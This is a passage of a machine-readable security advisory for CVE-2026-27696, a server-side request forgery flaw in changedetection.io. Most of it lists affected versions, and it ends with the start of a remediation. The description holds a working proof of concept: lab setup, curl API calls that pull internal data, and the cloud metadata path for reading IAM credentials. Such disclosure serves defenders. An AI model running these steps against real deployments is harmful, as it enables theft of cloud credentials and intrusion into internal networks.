                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.06",
                                "product": {
                                    "name": "vers:unknown/0.48.06",
                                    "product_id": "CSAFPID-3760094"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.0",
                                "product": {
                                    "name": "vers:unknown/0.49.0",
                                    "product_id": "CSAFPID-3760095",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.1",
                                "product": {
                                    "name": "vers:unknown/0.49.1",
                                    "product_id": "CSAFPID-3760096",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.10",
                                "product": {
                                    "name": "vers:unknown/0.49.10",
                                    "product_id": "CSAFPID-3760097",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.11",
                                "product": {
                                    "name": "vers:unknown/0.49.11",
                                    "product_id": "CSAFPID-3760098"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.12",
                                "product": {
                                    "name": "vers:unknown/0.49.12",
                                    "product_id": "CSAFPID-3760099",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.13",
                                "product": {
                                    "name": "vers:unknown/0.49.13",
                                    "product_id": "CSAFPID-3760100",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.14",
                                "product": {
                                    "name": "vers:unknown/0.49.14",
                                    "product_id": "CSAFPID-3760101",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.15",
                                "product": {
                                    "name": "vers:unknown/0.49.15",
                                    "product_id": "CSAFPID-3760102",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.16",
                                "product": {
                                    "name": "vers:unknown/0.49.16",
                                    "product_id": "CSAFPID-3760103",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.17",
                                "product": {
                                    "name": "vers:unknown/0.49.17",
                                    "product_id": "CSAFPID-3760104",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.18",
                                "product": {
                                    "name": "vers:unknown/0.49.18",
                                    "product_id": "CSAFPID-3760105",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.2",
                                "product": {
                                    "name": "vers:unknown/0.49.2",
                                    "product_id": "CSAFPID-3760106",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.3",
                                "product": {
                                    "name": "vers:unknown/0.49.3",
                                    "product_id": "CSAFPID-3760107",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.4",
                                "product": {
                                    "name": "vers:unknown/0.49.4",
                                    "product_id": "CSAFPID-3760108",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.5",
                                "product": {
                                    "name": "vers:unknown/0.49.5",
                                    "product_id": "CSAFPID-3760109",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.6",
                                "product": {
                                    "name": "vers:unknown/0.49.6",
                                    "product_id": "CSAFPID-3760110",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.7",
                                "product": {
                                    "name": "vers:unknown/0.49.7",
                                    "product_id": "CSAFPID-3760111",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.8",
                                "product": {
                                    "name": "vers:unknown/0.49.8",
                                    "product_id": "CSAFPID-3760112",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.9",
                                "product": {
                                    "name": "vers:unknown/0.49.9",
                                    "product_id": "CSAFPID-3760113",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.01",
                                "product": {
                                    "name": "vers:unknown/0.50.01",
                                    "product_id": "CSAFPID-3760114"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.1",
                                "product": {
                                    "name": "vers:unknown/0.50.1",
                                    "product_id": "CSAFPID-2935325",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.10",
                                "product": {
                                    "name": "vers:unknown/0.50.10",
                                    "product_id": "CSAFPID-5178114",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.11",
                                "product": {
                                    "name": "vers:unknown/0.50.11",
                                    "product_id": "CSAFPID-5178115",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.12",
                                "product": {
                                    "name": "vers:unknown/0.50.12",
                                    "product_id": "CSAFPID-5178116",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.13",
                                "product": {
                                    "name": "vers:unknown/0.50.13",
                                    "product_id": "CSAFPID-5178117",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.14",
                                "product": {
                                    "name": "vers:unknown/0.50.14",
                                    "product_id": "CSAFPID-5178118",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.15",
                                "product": {
                                    "name": "vers:unknown/0.50.15",
                                    "product_id": "CSAFPID-5178119",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.16",
                                "product": {
                                    "name": "vers:unknown/0.50.16",
                                    "product_id": "CSAFPID-5178120",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.17",
                                "product": {
                                    "name": "vers:unknown/0.50.17",
                                    "product_id": "CSAFPID-5178121",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.18",
                                "product": {
                                    "name": "vers:unknown/0.50.18",
                                    "product_id": "CSAFPID-5178122",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.19",
                                "product": {
                                    "name": "vers:unknown/0.50.19",
                                    "product_id": "CSAFPID-5178123",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.2",
                                "product": {
                                    "name": "vers:unknown/0.50.2",
                                    "product_id": "CSAFPID-2935326",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.20",
                                "product": {
                                    "name": "vers:unknown/0.50.20",
                                    "product_id": "CSAFPID-5178124",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.21",
                                "product": {
                                    "name": "vers:unknown/0.50.21",
                                    "product_id": "CSAFPID-5178125",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.22",
                                "product": {
                                    "name": "vers:unknown/0.50.22",
                                    "product_id": "CSAFPID-5178126",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.23",
                                "product": {
                                    "name": "vers:unknown/0.50.23",
                                    "product_id": "CSAFPID-5178127",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.24",
                                "product": {
                                    "name": "vers:unknown/0.50.24",
                                    "product_id": "CSAFPID-5178128",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.25",
                                "product": {
                                    "name": "vers:unknown/0.50.25",
                                    "product_id": "CSAFPID-5178129",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.26",
                                "product": {
                                    "name": "vers:unknown/0.50.26",
                                    "product_id": "CSAFPID-5178130",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.26"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.27",
                                "product": {
                                    "name": "vers:unknown/0.50.27",
                                    "product_id": "CSAFPID-5178131",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.27"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.28",
                                "product": {
                                    "name": "vers:unknown/0.50.28",
                                    "product_id": "CSAFPID-5178132",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.28"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.29",
                                "product": {
                                    "name": "vers:unknown/0.50.29",
                                    "product_id": "CSAFPID-5178133",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.29"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.3",
                                "product": {
                                    "name": "vers:unknown/0.50.3",
                                    "product_id": "CSAFPID-2935327",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.30",
                                "product": {
                                    "name": "vers:unknown/0.50.30",
                                    "product_id": "CSAFPID-5178134",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.30"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.31",
                                "product": {
                                    "name": "vers:unknown/0.50.31",
                                    "product_id": "CSAFPID-5178135",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.31"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.32",
                                "product": {
                                    "name": "vers:unknown/0.50.32",
                                    "product_id": "CSAFPID-5178136",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.32"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.33",
                                "product": {
                                    "name": "vers:unknown/0.50.33",
                                    "product_id": "CSAFPID-5178137",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.33"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.34",
                                "product": {
                                    "name": "vers:unknown/0.50.34",
                                    "product_id": "CSAFPID-5713303"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.35",
                                "product": {
                                    "name": "vers:unknown/0.50.35",
                                    "product_id": "CSAFPID-5713304"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.37",
                                "product": {
                                    "name": "vers:unknown/0.50.37",
                                    "product_id": "CSAFPID-5713305"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.38",
                                "product": {
                                    "name": "vers:unknown/0.50.38",
                                    "product_id": "CSAFPID-5713306"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.39",
                                "product": {
                                    "name": "vers:unknown/0.50.39",
                                    "product_id": "CSAFPID-5713307"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.4",
                                "product": {
                                    "name": "vers:unknown/0.50.4",
                                    "product_id": "CSAFPID-5178108",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.40",
                                "product": {
                                    "name": "vers:unknown/0.50.40",
                                    "product_id": "CSAFPID-5713308"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.41",
                                "product": {
                                    "name": "vers:unknown/0.50.41",
                                    "product_id": "CSAFPID-5713309"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.42",
                                "product": {
                                    "name": "vers:unknown/0.50.42",
                                    "product_id": "CSAFPID-5713310"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.43",
                                "product": {
                                    "name": "vers:unknown/0.50.43",
                                    "product_id": "CSAFPID-5713311"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.5",
                                "product": {
                                    "name": "vers:unknown/0.50.5",
                                    "product_id": "CSAFPID-5178109",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.6",
                                "product": {
                                    "name": "vers:unknown/0.50.6",
                                    "product_id": "CSAFPID-5178110",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.7",
                                "product": {
                                    "name": "vers:unknown/0.50.7",
                                    "product_id": "CSAFPID-5178111",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.8",
                                "product": {
                                    "name": "vers:unknown/0.50.8",
                                    "product_id": "CSAFPID-5178112",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.9",
                                "product": {
                                    "name": "vers:unknown/0.50.9",
                                    "product_id": "CSAFPID-5178113",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.00",
                                "product": {
                                    "name": "vers:unknown/0.51.00",
                                    "product_id": "CSAFPID-5713312"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.01",
                                "product": {
                                    "name": "vers:unknown/0.51.01",
                                    "product_id": "CSAFPID-5713313"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.1",
                                "product": {
                                    "name": "vers:unknown/0.51.1",
                                    "product_id": "CSAFPID-5713314"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.2",
                                "product": {
                                    "name": "vers:unknown/0.51.2",
                                    "product_id": "CSAFPID-5713315"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.3",
                                "product": {
                                    "name": "vers:unknown/0.51.3",
                                    "product_id": "CSAFPID-5713316"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.4",
                                "product": {
                                    "name": "vers:unknown/0.51.4",
                                    "product_id": "CSAFPID-5713317"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.1",
                                "product": {
                                    "name": "vers:unknown/0.52.1",
                                    "product_id": "CSAFPID-5713318"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.2",
                                "product": {
                                    "name": "vers:unknown/0.52.2",
                                    "product_id": "CSAFPID-5713319"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.3",
                                "product": {
                                    "name": "vers:unknown/0.52.3",
                                    "product_id": "CSAFPID-5713320"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.4",
                                "product": {
                                    "name": "vers:unknown/0.52.4",
                                    "product_id": "CSAFPID-5713321"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.5",
                                "product": {
                                    "name": "vers:unknown/0.52.5",
                                    "product_id": "CSAFPID-5713322"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.7",
                                "product": {
                                    "name": "vers:unknown/0.52.7",
                                    "product_id": "CSAFPID-5713323"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.8",
                                "product": {
                                    "name": "vers:unknown/0.52.8",
                                    "product_id": "CSAFPID-5713324"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.9",
                                "product": {
                                    "name": "vers:unknown/0.52.9",
                                    "product_id": "CSAFPID-5713325"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.1",
                                "product": {
                                    "name": "vers:unknown/0.53.1",
                                    "product_id": "CSAFPID-5633887"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.2",
                                "product": {
                                    "name": "vers:unknown/0.53.2",
                                    "product_id": "CSAFPID-5713326"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.3",
                                "product": {
                                    "name": "vers:unknown/0.53.3",
                                    "product_id": "CSAFPID-5713327"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.4",
                                "product": {
                                    "name": "vers:unknown/0.53.4",
                                    "product_id": "CSAFPID-5713328"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.5",
                                "product": {
                                    "name": "vers:unknown/0.53.5",
                                    "product_id": "CSAFPID-5713329"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.6",
                                "product": {
                                    "name": "vers:unknown/0.53.6",
                                    "product_id": "CSAFPID-5713330"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.7",
                                "product": {
                                    "name": "vers:unknown/0.53.7",
                                    "product_id": "CSAFPID-5713331"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.54.1",
                                "product": {
                                    "name": "vers:unknown/<0.54.1",
                                    "product_id": "CSAFPID-5700903"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection.io"
                    }
                ],
                "category": "vendor",
                "name": "dgtlmoon"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.54.1",
                                "product": {
                                    "name": "vers:unknown/<0.54.1",
                                    "product_id": "CSAFPID-5753601"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection.io"
                    }
                ],
                "category": "vendor",
                "name": "unknown"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-27696",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "changedetection.io is a free open source web page change detection tool. In versions prior to 0.54.1, changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs. The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. Version 0.54.1 contains a fix for the issue.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
                },
                {
                    "category": "description",
                    "text": "changedetection.io is a free open source web page change detection tool. In versions prior to 0.54.1, changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs. The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. Version 0.54.1 contains a fix for the issue.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27696"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n    safe_protocol_regex = '^(http|https|ftp):'\n\n    # Check protocol\n    pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)\n    if not pattern.match(test_url.strip()):\n        return False\n\n    # Check URL format\n    if not validators.url(test_url, simple_host=True):\n        return False\n\n    return True  # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n                    url=url,            # User-provided URL, no IP validation\n                    headers=request_headers,\n                    timeout=timeout,\n                    proxies=proxies,\n                    verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text     # Text content stored\nself.raw_content = r.content  # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            'Code': 'Success',\n            'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',\n            'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',\n            'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'\n        }).encode())\nHTTPServer(('0.0.0.0', 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n  changedetection:\n    image: ghcr.io/dgtlmoon/changedetection.io\n    ports:\n      - \"5000:5000\"\n    volumes:\n      - ./datastore:/datastore\n\n  internal-service:\n    build:\n      context: .\n      dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service’s response containing the simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n<img width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" />\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://internal-service/\"}')\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['uuid'])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n  -H \"x-api-key: $API_KEY\" | \\\n  python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n  -H \"x-api-key: $API_KEY\"\n```\nExpected output — the internal service’s response containing simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n<img width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" />\n\n---\n\n## Impact\n\n**Who is impacted:**  \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),     # Loopback\n    